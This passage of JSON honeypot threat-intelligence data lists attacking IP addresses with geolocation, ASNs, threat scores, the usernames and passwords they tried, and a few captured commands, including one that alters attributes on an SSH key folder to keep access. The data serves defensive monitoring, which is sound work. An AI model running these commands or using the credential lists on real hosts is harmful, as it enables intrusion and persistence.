      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T00:13:25.402000+00:00",
        "last_seen_30d": "2026-03-03T00:18:28.676000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 12
      }
    },
    "176.65.139.46": {
      "attack_count": 30,
      "first_seen": "2026-03-07T09:21:34.277Z",
      "last_seen": "2026-03-10T01:02:23.197Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 6.7,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 8,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T09:21:34.277000+00:00",
        "last_seen_30d": "2026-03-14T08:50:14.600000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Cowrie": 30
      }
    },
    "113.125.165.132": {
      "attack_count": 28,
      "first_seen": "2026-03-26T07:42:49.786Z",
      "last_seen": "2026-03-26T07:56:54.497Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "omega",
        "345gs5662d34",
        "zhj"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "omega123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 40.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.9,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:15:45.163000+00:00",
        "last_seen_30d": "2026-03-26T08:07:42.101000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 11
      }
    },
    "49.207.243.83": {
      "attack_count": 20,
      "first_seen": "2026-03-20T03:07:15.710Z",
      "last_seen": "2026-03-20T03:10:59.217Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "abdul",
        "ethan",
        "root",
        "shree"
      ],
      "passwords_attempted": [
        "123",
        "Windows10",
        "ethanethan",
        "shree123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24309,
      "as_org": "Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T03:07:15.710000+00:00",
        "last_seen_30d": "2026-03-20T03:12:00.509000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 9
      }
    },
    "183.212.237.69": {
      "attack_count": 18,
      "first_seen": "2026-03-18T19:55:04.831Z",
      "last_seen": "2026-03-18T19:59:42.551Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T19:55:04.831000+00:00",
        "last_seen_30d": "2026-03-18T20:00:48.476000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 10
      }
    },
    "159.89.53.54": {
      "attack_count": 16,
      "first_seen": "2026-03-10T09:33:15.308Z",
      "last_seen": "2026-03-10T09:36:21.386Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 62.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.6,
        "persistence": 23.3,
        "diversity": 16,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 28,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T19:07:59.961000+00:00",
        "last_seen_30d": "2026-03-30T22:23:31.852000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 16
      }
    },
    "38.188.160.148": {
      "attack_count": 13,
      "first_seen": "2026-03-10T23:39:10.288Z",
      "last_seen": "2026-03-10T23:45:19.451Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "artist",
        "reivax"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:39:10.288000+00:00",
        "last_seen_30d": "2026-03-10T23:46:28.342000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 6
      }
    },
    "185.242.226.40": {
      "attack_count": 12,
      "first_seen": "2026-03-11T09:27:51.332Z",
      "last_seen": "2026-03-25T18:02:03.421Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 79.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 8985,
        "days_active_30d": 25,
        "ports_targeted_30d": 501,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-02T00:31:09+00:00",
        "last_seen_30d": "2026-03-26T01:32:22.361000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5415,
        "Honeytrap": 3272,
        "Adbhoney": 126,
        "Dionaea": 104,
        "Miniprint": 24,
        "ConPot": 16,
        "Cowrie": 12,
        "Dicompot": 8,
        "H0neytr4p": 6,
        "Ciscoasa": 2
      }
    },
    "192.253.248.48": {
      "attack_count": 10,
      "first_seen": "2026-03-03T12:03:32.950Z",
      "last_seen": "2026-03-06T00:01:21.136Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "#2025Kelltech",
        "1!Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T10:51:07.304000+00:00",
        "last_seen_30d": "2026-03-06T00:02:27.731000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 10,
        "Heralding": 1
      }
    },
    "34.22.230.214": {
      "attack_count": 10,
      "first_seen": "2026-03-05T11:54:39.457Z",
      "last_seen": "2026-03-05T11:54:48.731Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T11:54:39.457000+00:00",
        "last_seen_30d": "2026-03-05T11:55:55.415000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "35.241.149.127": {
      "attack_count": 10,
      "first_seen": "2026-03-02T13:48:11.365Z",
      "last_seen": "2026-03-02T13:48:17.086Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T13:48:11.365000+00:00",
        "last_seen_30d": "2026-03-02T13:49:23.224000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "120.48.123.76": {
      "attack_count": 9,
      "first_seen": "2026-03-10T00:52:25.577Z",
      "last_seen": "2026-03-10T01:00:18.930Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "denis"
      ],
      "passwords_attempted": [
        "denispass"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T00:52:25.577000+00:00",
        "last_seen_30d": "2026-03-10T01:10:27.152000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 6
      }
    },
    "195.201.102.123": {
      "attack_count": 8,
      "first_seen": "2026-03-27T05:14:48.901Z",
      "last_seen": "2026-03-27T05:20:25.265Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T05:11:36.443000+00:00",
        "last_seen_30d": "2026-03-27T05:21:32.760000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 8
      }
    },
    "45.194.15.61": {
      "attack_count": 8,
      "first_seen": "2026-03-31T16:16:26.147Z",
      "last_seen": "2026-03-31T16:17:19.681Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Multan",
      "asn": 138590,
      "as_org": "Prime Networks",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T16:16:26.147000+00:00",
        "last_seen_30d": "2026-03-31T16:18:25.612000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "122.193.10.241": {
      "attack_count": 6,
      "first_seen": "2026-03-18T03:19:31.722Z",
      "last_seen": "2026-03-18T03:20:10.176Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T03:19:31.722000+00:00",
        "last_seen_30d": "2026-03-18T03:21:16.455000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "162.142.125.219": {
      "attack_count": 6,
      "first_seen": "2026-03-05T23:52:26.292Z",
      "last_seen": "2026-03-05T23:53:04.774Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 57.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.6,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 22,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T05:38:57+00:00",
        "last_seen_30d": "2026-03-23T18:21:19.202000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 49,
        "Cowrie": 6,
        "Dionaea": 2
      }
    },
    "170.64.231.82": {
      "attack_count": 6,
      "first_seen": "2026-03-15T21:07:24.640Z",
      "last_seen": "2026-03-16T11:02:03.417Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T21:07:24.640000+00:00",
        "last_seen_30d": "2026-03-16T11:03:08.137000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 6
      }
    },
    "184.105.247.196": {
      "attack_count": 6,
      "first_seen": "2026-03-04T01:29:03.773Z",
      "last_seen": "2026-03-25T08:41:19.200Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 332,
        "days_active_30d": 30,
        "ports_targeted_30d": 64,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T03:58:06+00:00",
        "last_seen_30d": "2026-03-31T14:23:40.206000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 209,
        "Honeytrap": 82,
        "Redishoneypot": 11,
        "Ciscoasa": 10,
        "Cowrie": 6,
        "Dionaea": 6,
        "CitrixHoneypot": 3,
        "ElasticPot": 3,
        "Honeyaml": 2
      }
    },
    "206.168.34.51": {
      "attack_count": 6,
      "first_seen": "2026-03-07T00:39:59.772Z",
      "last_seen": "2026-03-07T00:40:53.043Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 60.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.1,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 20,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-04T20:55:36+00:00",
        "last_seen_30d": "2026-03-23T01:22:09.544000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 26,
        "ElasticPot": 10,
        "Cowrie": 6,
        "Miniprint": 6,
        "ConPot": 1
      }
    },
    "66.132.172.45": {
      "attack_count": 6,
      "first_seen": "2026-03-26T08:06:41.374Z",
      "last_seen": "2026-03-26T08:07:16.116Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 70.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 10.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 12,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-20T05:29:44+00:00",
        "last_seen_30d": "2026-03-31T20:54:10.926000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 24,
        "Ciscoasa": 6,
        "Cowrie": 6
      }
    },
    "101.126.54.167": {
      "attack_count": 5,
      "first_seen": "2026-03-12T03:45:21.185Z",
      "last_seen": "2026-03-12T03:45:27.011Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "user5"
      ],
      "passwords_attempted": [
        "user51234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T03:45:21.185000+00:00",
        "last_seen_30d": "2026-03-12T03:46:34.404000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "23.129.64.213": {
      "attack_count": 5,
      "first_seen": "2026-03-04T21:27:06.591Z",
      "last_seen": "2026-03-04T21:27:11.999Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12566manzaNA@freepbx"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396507,
      "as_org": "Emerald Onion",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T21:27:06.591000+00:00",
        "last_seen_30d": "2026-03-04T21:28:15.102000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "147.185.132.103": {
      "attack_count": 4,
      "first_seen": "2026-03-15T16:09:22.171Z",
      "last_seen": "2026-03-15T16:09:25.730Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 29,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T06:52:29+00:00",
        "last_seen_30d": "2026-03-30T08:09:06.654000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Honeytrap": 26,
        "Cowrie": 4,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "185.55.240.152": {
      "attack_count": 4,
      "first_seen": "2026-03-02T20:46:15.128Z",
      "last_seen": "2026-03-06T03:12:19.029Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 199912,
      "as_org": "Layer7 Networks GmbH",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 58090,
        "days_active_30d": 5,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T19:56:47+00:00",
        "last_seen_30d": "2026-03-06T03:27:37.309000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 40888,
        "Honeytrap": 17192,
        "Cowrie": 4,
        "Redishoneypot": 4,
        "Miniprint": 2
      }
    },
    "198.199.70.166": {
      "attack_count": 4,
      "first_seen": "2026-03-04T01:08:39.929Z",
      "last_seen": "2026-03-04T01:08:40.680Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T01:08:39.929000+00:00",
        "last_seen_30d": "2026-03-04T01:09:46.164000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.194": {
      "attack_count": 4,
      "first_seen": "2026-03-14T04:23:11.844Z",
      "last_seen": "2026-03-14T04:23:15.476Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 29,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T03:39:58+00:00",
        "last_seen_30d": "2026-03-30T18:04:24.490000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Honeytrap": 32,
        "Miniprint": 10,
        "Adbhoney": 4,
        "Cowrie": 4,
        "Wordpot": 2,
        "ConPot": 1
      }
    },
    "27.125.180.215": {
      "attack_count": 4,
      "first_seen": "2026-03-08T08:47:26.473Z",
      "last_seen": "2026-03-30T06:38:34.364Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 55430,
      "as_org": "Starhub Ltd",
      "threat_score": 38.9,
      "threat_level": "low",
